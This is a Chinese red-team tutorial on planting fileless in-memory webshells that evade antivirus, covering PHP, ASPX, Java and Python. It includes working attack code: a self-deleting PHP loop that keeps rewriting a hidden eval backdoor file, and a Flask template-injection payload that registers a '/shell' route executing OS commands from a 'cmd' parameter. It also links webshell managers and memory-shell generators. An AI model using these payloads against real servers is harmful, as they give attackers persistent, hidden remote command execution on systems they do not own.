红队APT-后门逃离篇&无文件内存马&防查杀检测&四种语言&多种框架中间件&自定义生成
➢ 红队APT-后门逃离-无文件内存马&四大语言植入
1、出现:
在Web安全领域,Webshell一直是一个非常重要且热门的话题。在目前传统安全领域,Webshell根据功能的不同分为三种类型,分别是:一句话木马,小马,大马。而根据现在防火墙技术的更新迭代,随后出现了加密的木马技术,比如:加密一句话。而我们今天要说的是一种新的无文件的Webshell类型:内存马。
2、解决:
但是由于近几年防火墙,IDS,IPS,流量分析等各种安全设备的普及和更新,这种连接方式非常容易被设备捕获拦截,而且由于文件是明文存放在服务器端,所以又很容易被杀毒软件所查杀。在今天看来这种传统连接方式显然已经过时,于是乎,进化了一系列的加密一句话木马,但是这种方式还是不能绕过有类似文件监控的杀毒软件,于是乎进化了新一代的Webshell---》内存马
3、原理:
内存马是无文件Webshell,什么是无文件webshell呢?简单来说,就是服务器上不会存在需要链接的webshell脚本文件。那有的同学可能会问了?这种方式为什么能链接呢?内存马的原理就像是MVC架构,即通过路由访问控制器,我通过自身的理解,概述的说一下, 内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码
4、类型:
PHP,Java,Python,ASPX等
#红队APT-后门逃离-内存马-PHP
set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents函数:将一个字符串写入该文件中
usleep函数:延迟执行当前脚本数微秒,即条件竞争
写入代码:
<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.HH.php';
$code = '<?php @eval($_POST[\'c\']); ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
#红队APT-后门逃离-内存马-ASPX
蚁剑-As-Exploits插件-内存马注入
注:如不会配置可以使用狐狸工具箱V8自带的
插件:https://github.com/yzddmr6/As-Exploits
主程序:https://github.com/AntSwordProject/antSword
后门程序:https://github.com/AntSwordProject/AwesomeScript
主程序加载器:https://github.com/AntSwordProject/AntSword-Loader
#红队APT-后门逃离-内存马-Java
写入方法:蚁剑,哥斯拉,冰蝎,jMG,MemShellGene等
一款支持高度自定义的 Java 内存马生成工具
https://github.com/suizhibo/MemShellGene
https://github.com/pen4uin/java-memshell-generator
#红队APT-后门逃离-内存马-Python
/test?param={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}
内存马植入代码解释:
添加路由为/shell 接受参数名cmd的值 调用命令执行
https://xz.aliyun.com/t/10933
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)